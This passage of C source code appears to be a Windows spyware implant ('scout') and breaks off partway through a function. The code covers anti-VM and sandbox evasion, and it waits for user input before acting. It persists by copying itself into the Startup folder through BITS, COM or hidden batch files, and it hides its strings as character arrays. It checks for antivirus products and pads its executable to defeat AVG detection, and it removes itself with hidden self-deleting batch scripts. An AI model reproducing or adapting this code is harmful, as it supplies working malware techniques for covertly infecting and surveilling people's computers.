#include #include #include #include #include #include #include #include #include "main.h" #include "md5.h" #include "api.h" #include "binpatched_vars.h" #include "autodelete_batch.h" #include "agent_device.h" #include "mybits.h" #include "antivm.h" #include "zmem.h" #include "utils.h" #include "blacklist.h" #define _GLOBAL_VERSION_FUNCTIONS_ //defines the exported function and the GetSharedMemoryName funcion #include "version.h" #pragma comment(lib, "advapi32") #pragma comment(lib, "ws2_32") #pragma comment(lib, "winhttp") #pragma comment(lib, "netapi32") #pragma comment(lib, "gdiplus") #pragma comment(lib, "shell32") #pragma comment(lib, "shlwapi") extern VOID SyncThreadFunction(); extern PWCHAR GetRandomString(ULONG uMin); extern PDYNAMIC_WINSOCK dynamicWinsock; extern PDYNAMIC_SHELL32 dynamicShell32; //extern BYTE pServerKey[32]; //extern BYTE pConfKey[32]; //extern BYTE pSessionKey[20]; //extern BYTE pLogKey[32]; //extern BOOL bLastSync; //BOOL uMelted = FALSE; //PULONG uSynchro; BOOL bLastSync = FALSE; BOOL bSync = FALSE; HANDLE hScoutSharedMemory; /* //#pragma comment(linker, "/EXPORT:MyConf=?MyConf@@YAXXZ") //PWCHAR urs73A(PULONG pSynchro) // questa viene richiamata dai meltati //__declspec(dllexport) PWCHAR jfk31d1QQ(PULONG pSynchro) //__declspec(dllexport) PWCHAR reuio841001a(PULONG pSynchro) // questa viene richiamata dai meltati //__declspec(dllexport) PWCHAR pqjjslanf(PULONG pSynchro) // questa viene richiamata dai meltati //__declspec(dllexport) PWCHAR robertlee(PULONG pSynchro) // questa viene richiamata dai meltati __declspec(dllexport) PWCHAR eflmakfil(PULONG pSynchro) // questa viene richiamata dai meltati { #ifdef _DEBUG OutputDebugString(L"[+] Setting uMelted to TRUE\n"); #endif PWCHAR pScoutName; uMelted = TRUE; uSynchro = pSynchro; pScoutName = (PWCHAR)VirtualAlloc(NULL, strlen(SCOUT_NAME)*sizeof(WCHAR) + 2*sizeof(WCHAR), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, SCOUT_NAME, strlen(SCOUT_NAME), pScoutName, strlen(SCOUT_NAME) + 2); return pScoutName; } PCHAR GetScoutSharedMemoryName() { CHAR strFormat[] = { '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '\0' }; PCHAR pName = (PCHAR) malloc(16); memset(pName, 0x0, 16); _snprintf_s(pName, 16, _TRUNCATE, strFormat, pServerKey[5], pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0], pServerKey[2]); return pName; } */ //#pragma section(".text", read,exec) //__declspec(allocate(".text")) DWORD ewiogh[1024] = {0xf1caf1ca, 0xf1caf1ca}; int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { #ifdef _DEBUG_BINPATCH MessageBox(NULL, L"_DEBUG_BINPATCH", L"_DEBUG_BINPATCH", 0); #endif if (GetCurrentThread() == 0x0) { //MessageBox(NULL, L"Error", L"wrong commandline arguments", 0); MessageBox(NULL, MSG_1, L"Error", 0); return 0; } memcpy(pServerKey, CLIENT_KEY, 32); memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32); memcpy(pLogKey, ENCRYPTION_KEY, 32); #ifdef _DEBUG_BINPATCH MD5((PBYTE)CLIENT_KEY, 32, (PBYTE)pServerKey); MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, (PBYTE)pConfKey); MD5((PBYTE)ENCRYPTION_KEY, 32, (PBYTE)pLogKey); #endif /* init dynamic winsock */ if((dynamicWinsock = (PDYNAMIC_WINSOCK) malloc(sizeof(DYNAMIC_WINSOCK))) == NULL) return 0; if(!API_LoadWinsock(&dynamicWinsock)) return 0; /* init dynamic shell32 */ if((dynamicShell32 = (PDYNAMIC_SHELL32) malloc(sizeof(DYNAMIC_SHELL32))) == NULL) return 0; if(!API_LoadShell32(&dynamicShell32)) return 0; // first check for elite presence BOOL bVM = AntiVM(); BOOL bElite = ExistsEliteSharedMemory(); if (bVM || bElite) { #ifdef _DEBUG OutputDebugString(L"[+] An ELITE backdoor is already installed here!\n"); #endif if (bElite && AmIFromStartup()) // FIXME: questo nn puo' essere.. DeleteAndDie(FALSE); if (uMelted) { *uSynchro = 1; ExitThread(0); } else return 0; } // check if I'm already running if (ExistsScoutSharedMemory()) // FIXME - mi deleto perche' puo' essere il soldier, tanto se trova la shared mem vuol dire che c'e' un altro scout { #ifdef _DEBUG OutputDebugString(L"[+] Scout already active\n"); #endif if (uMelted) { *uSynchro = 1; ExitThread(0); } else return 0; } MySleep(WAIT_DROP/2); // diamo tempo al soldier o elite, di eventualmente vincere la race se non siamo riusciti a cancellarci per qualche motivo if (!CreateScoutSharedMemory()) { #ifdef _DEBUG OutputDebugString(L"[+] Cannot create shared memory\n"); #endif if (uMelted) { *uSynchro = 1; ExitThread(0); } else return 0; } MySleep(WAIT_DROP/2); //check blacklist if(!BL_CheckList()) return 0; //la CoInitializeEx restituisce un errore se utilizzata nella main e le successiva chiamata della CoInitialize, //nella GetDeviceInfo() e BitTransfer non andavanp a buon fine. Funzioni spostate all'interno della funzione SyncThreadFunction //HRESULT hRet = CoInitializeEx(0, COINIT_MULTITHREADED); //CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE,NULL); // do not drop if kaspersky x86 //BOOL bIsWow64, bIsOS64, bDrop; //IsX64System(&bIsWow64, &bIsOS64); //bDrop = TRUE; // if (!bIsOS64) // { // WCHAR pKasp[] = { L's', L'p', L'e', L'r', L's', L'k', L'y', 0x0 }; // PWCHAR pApplicationList = GetApplicationList(FALSE); // if (StrStrI(pApplicationList, pKasp)) // bDrop = FALSE; // free(pApplicationList); // } if (!uMelted) { Drop(); MySleep(1000); AvgInvisibility(); } UseLess(); WaitForInput(); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SyncThreadFunction, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); if (hScoutSharedMemory) { CloseHandle(hScoutSharedMemory); hScoutSharedMemory = NULL; } if (uMelted) { *uSynchro = 1; ExitThread(0); } return 0; } VOID Drop() { if (!AmIFromStartup()) { #ifdef _DEBUG OutputDebugString(L"[+] Dropping..\n"); #endif WCHAR strExeFormat[] = { L'%', L'S', L'.', L'e', L'x', L'e', L'\0' }; LPWSTR strDestPath = GetStartupScoutName(); LPWSTR strSourcePath = GetMySelfName(); LPWSTR strStartupPath = GetStartupPath(); LPWSTR strDestFileName = (LPWSTR) malloc((strlen(SCOUT_NAME)+5)*sizeof(WCHAR)); SecureZeroMemory(strDestFileName, (strlen(SCOUT_NAME)+5)*sizeof(WCHAR)); _snwprintf_s(strDestFileName, strlen(SCOUT_NAME)+5, _TRUNCATE, strExeFormat, SCOUT_NAME); if (GetCurrentThread() == 0x0) MessageBox(NULL, MSG_2, L"Warning", 1); //MessageBox(NULL, L"Warning", L"Trying to recover..", 1); BOOL bFileExists = FALSE; BitTransfer(strSourcePath, strDestPath); for (DWORD i=0; i<2; i++) { if (PathFileExists(strDestPath)) { bFileExists = TRUE; break; } Sleep(1000); } if(!bFileExists) { if (!SUCCEEDED(ComCopyFile(strSourcePath, strStartupPath, strDestFileName)) || !PathFileExists(strDestPath)) DoCopyFile(strSourcePath, strDestPath); } //check/set the file attributes (read-only check) if(PathFileExists(strDestPath)) CheckFileAttribs(strDestPath); free(strDestPath); free(strSourcePath); free(strStartupPath); free(strDestFileName); } } VOID DoCopyFile(PWCHAR pSource, PWCHAR pDest) { PWCHAR pBatchName; CreateCopyBatch(pSource, pDest, &pBatchName); StartBatch(pBatchName); MySleep(8000); DeleteFile(pBatchName); free(pBatchName); } HRESULT CreateItemFromParsingName(__in LPWSTR strFileName, __out IShellItem **psi) { PIDLIST_ABSOLUTE pidl; //HRESULT hr = SHParseDisplayName(strFileName, 0, &pidl, SFGAO_FOLDER, 0); HRESULT hr = dynamicShell32->fpSHParseDisplayName(strFileName, 0, &pidl, SFGAO_FOLDER, 0); if (SUCCEEDED(hr)) { //hr = SHCreateShellItem(NULL, NULL, pidl, psi); hr = dynamicShell32->fpSHCreateShellItem(NULL, NULL, pidl, psi); if (SUCCEEDED(hr)) return S_OK; } return E_FAIL; } HRESULT ComCopyFile(__in LPWSTR strSourceFile, __in LPWSTR strDestDir, __in_opt LPWSTR strNewName) { IFileOperation *pfo; HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pfo)); if (SUCCEEDED(hr)) { hr = pfo->SetOperationFlags(FOF_NO_UI); if (SUCCEEDED(hr)) { IShellItem *psiFrom = NULL; //hr = SHCreateItemFromParsingName(strSourceFile, NULL, IID_PPV_ARGS(&psiFrom)); hr = CreateItemFromParsingName(strSourceFile, &psiFrom); if (SUCCEEDED(hr)) { IShellItem *psiTo = NULL; if (NULL != strDestDir) hr = CreateItemFromParsingName(strDestDir, &psiTo); //hr = SHCreateItemFromParsingName(strDestDir, NULL, IID_PPV_ARGS(&psiTo)); if (SUCCEEDED(hr)) { hr = pfo->CopyItem(psiFrom, psiTo, strNewName, NULL); if (NULL != psiTo) psiTo->Release(); } psiFrom->Release(); } if (SUCCEEDED(hr)) hr = pfo->PerformOperations(); // copy file } pfo->Release(); } return hr; } VOID UseLess() { if (GetCurrentProcessId() == 4) { //MessageBox(NULL, L"Error", L"Aborting now", 0); MessageBox(NULL, MSG_3, L"Error", 0); memset(DEMO_TAG, 0x0, 3); memset(WMARKER, 0x0, 3); memset(CLIENT_KEY, 0x0, 3); memset(ENCRYPTION_KEY_CONF, 0x0, 3); memset(SCOUT_NAME, 0x0, 3); memset(SCREENSHOT_FLAG, 0x0, 4); } } VOID WaitForInput() { ULONG uLastInput; LASTINPUTINFO pLastInputInfo; #ifdef _DEBUG OutputDebugString(L"[+] FIRST_WAIT\n"); #endif MySleep(WAIT_INPUT); pLastInputInfo.cbSize = sizeof(LASTINPUTINFO); GetLastInputInfo(&pLastInputInfo); uLastInput = pLastInputInfo.dwTime; while (1) { pLastInputInfo.cbSize = sizeof(LASTINPUTINFO); if (GetLastInputInfo(&pLastInputInfo)) { if (pLastInputInfo.dwTime != uLastInput) break; } else { #ifdef _DEBUG OutputDebugString(L"[+] GetLastInput FAILED\n"); #endif MySleep(3000); break; } #ifdef _DEBUG OutputDebugString(L"[+] Waiting for input...\n"); #endif MySleep(3000); } } VOID DeleteAndDie(BOOL bDie) { HANDLE hFile; ////char batch_format[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 }; char batch_format[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'e', 'c', 'h', 'o', ' ', ';', '>', '"', '%', 'S', '"', 0x0 }; if (hScoutSharedMemory) { CloseHandle(hScoutSharedMemory); hScoutSharedMemory = NULL; } if (uMelted) // from melted app { PWCHAR pFullPath = GetStartupScoutName(); DeleteFile(pFullPath); free(pFullPath); if (bDie) { *uSynchro = 1; ExitThread(0); } return; } // not melted if (!AmIFromStartup()) { PWCHAR pName = GetStartupScoutName(); DeleteFile(pName); free(pName); if (bDie) ExitProcess(0); else return; } else // batch { PWCHAR pTempPath = GetTemp(); PWCHAR pBatFileName = (PWCHAR)malloc(32767 * sizeof(WCHAR)); ULONG uTick = GetTickCount(); do { //_snwprintf_s(pBatFileName, 32766, _TRUNCATE, L"%s\\%d98355.bat", pTempPath, uTick++); //_snwprintf_s(pBatFileName, 32766, _TRUNCATE, L"%s\\%d437890.bat", pTempPath, uTick++); _snwprintf_s(pBatFileName, 32766, _TRUNCATE, L"%s\\%d%s", pTempPath, uTick++, BATCH_FILE_1); hFile = CreateFile(pBatFileName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while(1); #ifdef _DEBUG OutputDebugString(pBatFileName); #endif // get full filename in startup PWCHAR pExeFileName = GetStartupScoutName(); // create batch buffer ULONG uSize = strlen(batch_format) + 32676*3 + 1; LPSTR pBatchBuffer = (LPSTR)malloc(uSize); memset(pBatchBuffer, 0x0, uSize); _snprintf_s(pBatchBuffer, uSize, _TRUNCATE, batch_format, pExeFileName, pExeFileName, pBatFileName); // write it ULONG uOut; WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); if (StartBatch(pBatFileName)) { if (bDie) { if (uMelted) { *uSynchro = 1; ExitThread(0); } else ExitProcess(0); } else return; } #ifdef _DEBUG else OutputDebugString(L"[!!] Error executing autodelete batch!!\n"); #endif free(pBatFileName); free(pExeFileName); free(pBatchBuffer); free(pTempPath); } } /* PCHAR GetOldScoutSharedMemoryName() { PCHAR pName = (PCHAR)malloc(16); memset(pName, 0x0, 16); _snprintf_s(pName, 16, _TRUNCATE, "%02X%02X%02X%02X%c%c", pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0], 'B', 'R'); return pName; } */ PCHAR GetEliteSharedMemoryName() { PCHAR pName = (PCHAR)malloc(16); memset(pName, 0x0, 16); memcpy(pName, WMARKER, 7); /* _snprintf_s(pName, 16, _TRUNCATE, //"%cX%X%02X%02X%02X%02X%02X", "%.7s", &WMARKER[0], &WMARKER[1], &WMARKER[2], &WMARKER[3], &WMARKER[4], &WMARKER[5], &WMARKER[6]); */ return pName; } /* PCHAR GetOldEliteSharedMemoryName() { PCHAR pName = (PCHAR)malloc(16); memset(pName, 0x0, 16); _snprintf_s(pName, 16, _TRUNCATE, "%c%c%c%02X%02X%02X%02X", 'F', 'S', 'B', pServerKey[0], pServerKey[1], pServerKey[2], pServerKey[3]); return pName; } */ BOOL CreateScoutSharedMemory() { PCHAR pName; #ifdef _DEBUG OutputDebugString(L"[+] Creating scout shared memory\n"); #endif if (ExistsScoutSharedMemory()) return FALSE; pName = GetScoutSharedMemoryName(); hScoutSharedMemory = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, SHARED_MEMORY_WRITE_SIZE, pName); free(pName); if (hScoutSharedMemory) return TRUE; return FALSE; } BOOL ExistsScoutSharedMemory() { HANDLE hMem; PCHAR pName; BOOL uRet = FALSE; pName = GetScoutSharedMemoryName(); hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName); if (hMem) { uRet = TRUE; CloseHandle(hMem); } free(pName); return uRet; } BOOL ExistsEliteSharedMemory() { HANDLE hMem; PCHAR pName; BOOL uRet = FALSE; pName = GetEliteSharedMemoryName(); hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName); if (hMem) { uRet = TRUE; CloseHandle(hMem); } free(pName); return uRet; } BOOL AmIFromStartup() { BOOL uRet; PWCHAR pStartupPath = GetStartupPath(); PWCHAR pCurrentPath = GetMySelfName(); if (StrRChr(pCurrentPath, NULL, L'\\')) *(StrRChr(pCurrentPath, NULL, L'\\')) = 0; if (StrCmpI(pCurrentPath, pStartupPath)) uRet = FALSE; else uRet = TRUE; free(pStartupPath); free(pCurrentPath); return uRet; } PWCHAR GetMySelfName() { PWCHAR pName = (PWCHAR)malloc(32767*2 * sizeof(WCHAR)); PWCHAR pShort = (PWCHAR)malloc(32767*2 * sizeof(WCHAR)); GetModuleFileName(NULL, pName, 32766*2); if (!GetShortPathName(pName, pShort, 32767*2)) { free(pShort); return pName; } free(pName); return pShort; } PWCHAR GetStartupPath() { PWCHAR pStartupPath = (PWCHAR)malloc(32767*sizeof(WCHAR)); PWCHAR pShortPath = (PWCHAR)malloc(32767*sizeof(WCHAR)); //SHGetSpecialFolderPath(NULL, pStartupPath, CSIDL_STARTUP, FALSE); dynamicShell32->fpSHGetSpecialFolderPathW(NULL, pStartupPath, CSIDL_STARTUP, FALSE); GetShortPathName(pStartupPath, pShortPath, 4096); free(pStartupPath); return pShortPath; } PWCHAR GetStartupScoutName() { WCHAR strFormat[] = { L'%', L's', L'\\', L'%', L'S', L'.', L'e', L'x', L'e', L'\0' }; PWCHAR pStartupPath = GetStartupPath(); PWCHAR pFullPath = (PWCHAR)malloc(32767*sizeof(WCHAR)); _snwprintf_s(pFullPath, 32767, _TRUNCATE, strFormat, pStartupPath, SCOUT_NAME); free(pStartupPath); return pFullPath; } PWCHAR GetTemp() { WCHAR strTemp[] = { L'T', L'M', L'P', L'\0' }; PWCHAR pTemp = (PWCHAR)malloc(4096 * sizeof(WCHAR)); PWCHAR pShort = (PWCHAR)malloc(4096 * sizeof(WCHAR)); GetEnvironmentVariable(strTemp, pTemp, 32767); // FIXME GetTempPath GetShortPathName(pTemp, pShort, 4096); free(pTemp); return pShort; } VOID MySleep(ULONG uTime) { //HANDLE hThread = GetCurrentThread(); //WaitForSingleObject(hThread, uTime); Sleep(uTime); } BOOL StartBatch(PWCHAR pName) { BOOL bRet; STARTUPINFO si; PROCESS_INFORMATION pi; PWCHAR pApplicationName = (PWCHAR)malloc(4096 * sizeof(WCHAR)); WCHAR strOpts[] = { L'/', L'c', L' ', L'%', L's', L'\0' }; WCHAR pTempInterpreter[] = { L'%', L'S', L'Y', L'S', L'T', L'E', L'M', L'R', L'O', L'O', L'T', L'%', L'\\', L's', L'y', L's', L't', L'e', L'm', L'3', L'2', L'\\', L'c', L'm', L'd', L'.', L'e', L'x', L'e', 0x0 }; PWCHAR pInterpreter = (PWCHAR) malloc(32767 * sizeof(WCHAR)); ExpandEnvironmentStrings(pTempInterpreter, pInterpreter, 32767 * sizeof(WCHAR)); _snwprintf_s(pApplicationName, 4095, _TRUNCATE, strOpts, pName); SecureZeroMemory(&si, sizeof(STARTUPINFO)); SecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; if (GetCurrentProcessId() == 4) MessageBox(NULL, MSG_4, L"Alert!", 0); //MessageBox(NULL, L"Not sure what's happening", L"ALERT!", 0); bRet = CreateProcess(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); free(pApplicationName); free(pInterpreter); return bRet; } VOID CreateDeleteBatch(PWCHAR pFileName, PWCHAR *pBatchOutName) { HANDLE hFile; ULONG uTick, uOut; PWCHAR pTempPath = GetTemp(); PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR)); CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 }; PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3)); uTick = GetTickCount(); do { ////_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d02322.bat", pTempPath, uTick++); //_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d124904.bat", pTempPath, uTick++); _snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d%s", pTempPath, uTick++, BATCH_FILE_2); hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while (1); _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pFileName, pFileName, pBatchName); WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); *pBatchOutName = pBatchName; free(pBatchBuffer); free(pTempPath); } VOID CreateReplaceBatch(PWCHAR pOldFile, PWCHAR pNewFile, PWCHAR *pBatchOutName) { HANDLE hFile; ULONG uTick, uOut; PWCHAR pTempPath = GetTemp(); PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR)); CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', ' ', '"', '%', 'S', '"', '\r', '\n', 's', 't', 'a', 'r', 't', ' ', '/', 'B', ' ', 'c', 'm', 'd', ' ', '/', 'c', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 }; PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3)); uTick = GetTickCount(); do { //_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d76833.bat", pTempPath, uTick++); _snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d%s", pTempPath, uTick++, BATCH_FILE_3); hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while (1); _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pOldFile, pOldFile, pNewFile, pOldFile, pOldFile, pNewFile, pBatchName); WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); *pBatchOutName = pBatchName; free(pBatchBuffer); free(pTempPath); } VOID CreateCopyBatch(PWCHAR pSource, PWCHAR pDest, PWCHAR *pBatchOutName) { HANDLE hFile; ULONG uTick ,uOut; PWCHAR pTempPath = GetTemp(); PWCHAR pBatchName = (PWCHAR)malloc(32767*sizeof(WCHAR)); CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', '"', '%', 'S', '"', 0x0}; PCHAR pBatchBuffer = (PCHAR)malloc(strlen(pBatchFormat) + (32767 * 3)); uTick = GetTickCount(); do { WCHAR pName[] = { L'%', L's', L'\\', L'%', L'd', L'.', L'b', L'a', L't', L'\0' }; _snwprintf_s(pBatchName, 32766, _TRUNCATE, pName, pTempPath, uTick++); hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) break; } while (1); _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pSource, pDest); WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL); CloseHandle(hFile); *pBatchOutName = pBatchName; free(pBatchBuffer); free(pTempPath); } LPWSTR CreateTempFile() { WCHAR pTempPath[MAX_PATH + 1]; LPWSTR pShortTempPath = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR)); LPWSTR pTempFileName = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR)); LPWSTR pShortTempFileName = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR)); memset(pTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); memset(pShortTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); memset(pTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); memset(pShortTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); GetTempPath(MAX_PATH + 1, pTempPath); GetShortPathName(pTempPath, pShortTempPath, (MAX_PATH + 1)*sizeof(WCHAR)); GetTempFileName(pTempPath, L"13", 0, pTempFileName); GetShortPathName(pTempFileName, pShortTempFileName, (MAX_PATH + 1)*sizeof(WCHAR)); free(pShortTempPath); free(pTempFileName); return pShortTempFileName; } VOID AvgInvisibility() { /* Solves Avg General Behavior detection by increasing scout size in startup, scout not run from startup is not affected by this detection: - a] current process is not running from startup -> append garbage to scout executable dropped in startup - b] current process is the scout running from startup -> drop a garbage file in %temp%, the a batch that waits for current process to bail and then appends the garbage to scout executable in startup and spawns a 'fat' scout process */ LPWSTR strDestPath = GetStartupScoutName(); LPWSTR strSourcePath = GetMySelfName(); LPWSTR strStartupPath = GetStartupPath(); /* make avg scout fat */ WCHAR szAvg[] = { L'A', L'V', L'G', 0x0 }; PWCHAR pApplicationList = NULL; BOOL bIsWow64, bIsOS64; IsX64System(&bIsWow64, &bIsOS64); if (!bIsOS64) pApplicationList = GetApplicationList(FALSE); else pApplicationList = GetApplicationList(TRUE); #ifdef _DEBUG if (!bIsOS64) OutputDebugString(L"32bit"); else OutputDebugString(L"64bit"); #endif if (StrStrI(pApplicationList, szAvg)) { HANDLE hScout = CreateFile(strDestPath, GENERIC_READ, FILE_SHARE_READ , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hScout == INVALID_HANDLE_VALUE) { #ifdef _DEBUG OutputDebugString(L"Failed opening scout"); OutputDebugString(strDestPath); OutputDebugString(L"\n"); #endif } else { #ifdef _DEBUG OutputDebugString(L"Read handle opened "); OutputDebugString(strDestPath); OutputDebugString(L"\n"); #endif /*LARGE_INTEGER lM; lM.QuadPart = 1048576 + 10; LONGLONG lPadding = 0; LARGE_INTEGER lFileSize; GetFileSizeEx(hScout, &lFileSize); lPadding = lM.QuadPart - lFileSize.QuadPart;*/ DWORD dwM = (1048576 * 4) + 10; DWORD dwPadding= 0; DWORD dwFileSize = GetFileSize(hScout, NULL); dwPadding = dwM - dwFileSize; /* padding must an 8 byte multiple */ while( dwPadding % 8 != 0 ) dwPadding += 1; if( dwPadding > 0 ) { /* a] not running from startup, just expand scout file on startup */ if( !AmIFromStartup() ) { BOOL bFileAppended = FALSE; DWORD dwBytesWritten = 0; LPBYTE lpGarbagePadding = GetRandomData(dwPadding); LPBYTE lpFatExecutableBuffer = AppendDataInSignedExecutable(hScout, lpGarbagePadding, dwPadding, &dwFileSize); /* read only handle was needed by AppendDataInSignedExecutable, now open an w one */ CloseHandle(hScout); hScout = CreateFile(strDestPath, CREATE_ALWAYS, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if( lpFatExecutableBuffer != NULL ) { DWORD dwFilePtr = SetFilePointer(hScout, 0, NULL, FILE_BEGIN); if(dwFilePtr != INVALID_SET_FILE_POINTER) { bFileAppended = WriteFile(hScout, lpFatExecutableBuffer, dwFileSize, &dwBytesWritten, NULL); CloseHandle(hScout); #ifdef _DEBUG if(bFileAppended && dwFileSize == dwBytesWritten) OutputDebugString(L"Scout appended correctly\n"); else OutputDebugString(L"Issues appending scout\n"); #endif } #ifdef _DEBUG else { wchar_t buf[256]; FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, 256, NULL); OutputDebugString(buf); } #endif zfree(lpFatExecutableBuffer); } #ifdef _DEBUG else OutputDebugString(L"No Fat Executable buffer\n"); #endif zfree(lpGarbagePadding); } else /* b] if scout is running from startup and is not big enough (lPadding > 0) create an expanded kosher copy in temp and replace the one in startup with a batch script */ { LPBYTE lpGarbagePadding = GetRandomData(dwPadding); LPBYTE lpFatExecutableBuffer = AppendDataInSignedExecutable(hScout, lpGarbagePadding, dwPadding, &dwFileSize); zfree(lpGarbagePadding); if( lpFatExecutableBuffer != NULL ) { /* read only handle was needed by AppendDataInSignedExecutable */ CloseHandle(hScout); LPWSTR lpTempFile = CreateTempFile(); HANDLE hFatScout = CreateFile(lpTempFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if( hFatScout != INVALID_HANDLE_VALUE ) { DWORD dwBytesWritten = 0; BOOL bGarbageFileWritten = WriteFile(hFatScout, lpFatExecutableBuffer, dwFileSize, &dwBytesWritten, NULL); CloseHandle(hFatScout); #ifdef _DEBUG if(bGarbageFileWritten && dwBytesWritten == dwFileSize) OutputDebugString(L"Fat scout file written\n"); else OutputDebugString(L"Issues writing fat scout file\n"); #endif /* Batch file increases scout size, then respawns a fat scout process */ PWCHAR pBatchName; CreateFileReplacerBatch(lpTempFile, strDestPath, &pBatchName); StartBatch(pBatchName); ExitProcess(0); } } // if( lpFatExecutableBuffer != NULL ) } // else } 